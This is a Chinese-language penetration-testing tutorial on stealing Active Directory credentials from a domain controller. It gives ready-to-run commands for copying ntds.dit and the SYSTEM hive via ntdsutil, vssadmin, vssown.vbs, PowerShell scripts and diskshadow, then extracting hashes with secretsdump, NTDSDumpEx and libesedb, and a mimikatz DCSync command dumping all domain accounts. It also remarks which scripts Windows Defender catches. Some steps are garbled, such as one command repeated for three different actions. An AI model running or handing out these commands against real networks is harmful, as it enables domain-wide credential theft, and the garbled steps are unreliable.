首先,ntds.dit储存着域控信息上的所有用户的信息,且位置位于如下。
ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM
那为什么我们不能直接复制出来呢,而是要选择导出。原因是复制不了,如下图所示。
一、导出ntds.dit
1、Ntdsutil.exe
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。
ntdsutil.exe支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012
这里我用Win2016也是成功的
创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照
ntdsutil snapshot "mount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit
拷贝ntds.dit到C盘
copy C:\$SNAP_202101172022_VOLUMEC$\\Windows\NTDS\ntds.dit C:\\ntds.dit
卸载并删除快照
ntdsutil.exe snapshot "umount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" "delete {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}" q q
查看是否删除成功
ntdsutil.exe snapshot "List All" q q
注意这里的{}里的内容要根据实际情况进行改变
或者
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
2、vssadmin
创建快照
vssadmin.exe create shadow /for=c:
复制ntds.dit和system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\ntds\ntds.dit c:\\ntds2.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM C:\system.hiv
删除快照
vssadmin Delete Shadows /For=C: /Oldest
vssadmin Delete Shadows /For=C: /qui
成功复制出ntds2.dit
3、vssown.vbs
https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
和vssadmin类似
启动
cscript vssown.vbs /start
创建
cscript vssown.vbs /start
列出
cscript vssown.vbs /start
复制
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\\ntds3.dit
删除
cscript vssown.vbs /delete {C0D4CCE8-7B14-4F87-A360-EF9571D70A45}
注意这里删除是删除ID值
4、powershell
Copy-VSS
Nisang的脚本,非常方便,就两个命令,但是会被Windows-DF直接干掉
import-module .\Copy-VSS.ps1
Copy-VSS
VolumeShadowCopyTools.ps1
powersploit的脚本,也会直接被Windows-DF直接干掉
Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy
5、Diskshadow
渗透测试中,也可以用来执行命令,需要将想执行的命令先写入txt中
exec c:\windows\system32\calc.exe
b.txt
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到C盘c:\ntds.dit
exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds4.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit
注意必须要在sysytem32目录下,不然会失败。
c:>reg save hklm\system c:\windows\temp\system.hive
获取秘钥,这是Diskshadow特有的,如果没有这个秘钥无法解密
注意——解密ntds.dit基本上都需要SYSTEM文件,记得导出ntds.dit的时候,要连同它一起导出,他作为秘钥来进行解密
或者用此命令
reg save hklm\system c:\system2.hive
二、解析ntds.dit获取hash
1、Impacket工具包
https://github.com/SecureAuthCorp/impacket
里面有很多工具,具体可以看这个文章
https://www.moonsec.com/archives/588
我们主要解析Ntds.dit用到的是其中的secretsdump.py
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
2、NTDSDumpex.exe
https://github.com/zcgonvh/NTDSDumpEx/releases
NTDSDumpEx -d ntds.dit -s system -o domain.txt
很方便
3、其他
ntdsxtract
DSinternals Powershell脚本
Esedbexport
apt-get install update
apt-get install autoconf automake autopoint libtool pkg-config
wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz
cd libesedb-experimental-20191220
./configure
make && make install && ldconfig
三、DCsync获取Hash
DCsync可以有效地“假冒”一个域控制器,并可以向目标域控制器请求帐户密码数据。他集成于Mimikatz里
利用条件:获得以下任一的权限
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:hacker.com /all /csv
powershell脚本 DCsync
这里使用Empire的 Invoke-DCSync
资料
https://blog.csdn.net/qq_34640691/article/details/111866193